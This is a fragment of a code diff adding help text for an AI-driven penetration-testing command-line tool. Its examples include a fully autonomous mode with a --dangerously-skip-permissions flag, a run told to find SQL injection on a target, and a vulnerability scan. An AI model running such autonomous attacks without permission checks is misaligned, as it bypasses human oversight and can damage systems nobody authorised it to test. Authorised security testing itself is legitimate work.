|
+
|
|
2292
|
+
${chalk.hex(THEME.hacker.yellow)("Examples:")}
|
|
2293
|
+
|
|
2294
|
+
${chalk.hex(THEME.text.muted)("# Full autonomous mode")}
|
|
2295
|
+
$ pentesting --dangerously-skip-permissions -t 10.10.10.5
|
|
2296
|
+
|
|
2297
|
+
${chalk.hex(THEME.text.muted)("# Run specific objective")}
|
|
2298
|
+
$ pentesting run "Find SQL injection" -t http://target.com -o report.json
|
|
2299
|
+
|
|
2300
|
+
${chalk.hex(THEME.text.muted)("# Quick vulnerability scan")}
|
|
2301
|
+
$ pentesting scan 192.168.1.1 -s vuln
|
|
2302
|
+
|
|
2303
|
+
${chalk.hex(THEME.hacker.yellow)("Environment:")}
|
|
2304
|
+
|
|
2305
|
+
${chalk.hex(THEME.hacker.cyan)("ANTHROPIC_API_KEY")} Required - Anthropic API key
|
|
2306
|
+
${chalk.hex(THEME.hacker.cyan)("PENTEST_MODEL")} Optional - Model override
|
|
2307
|
+
|
|
2308
|
+
${chalk.hex(THEME.text.muted)("For ethical hacking and authorized testing only.")}
|
|
2309
|
+
`);
|
|
2310
|
+
});
|
|
2311
|
+
program.parse();
|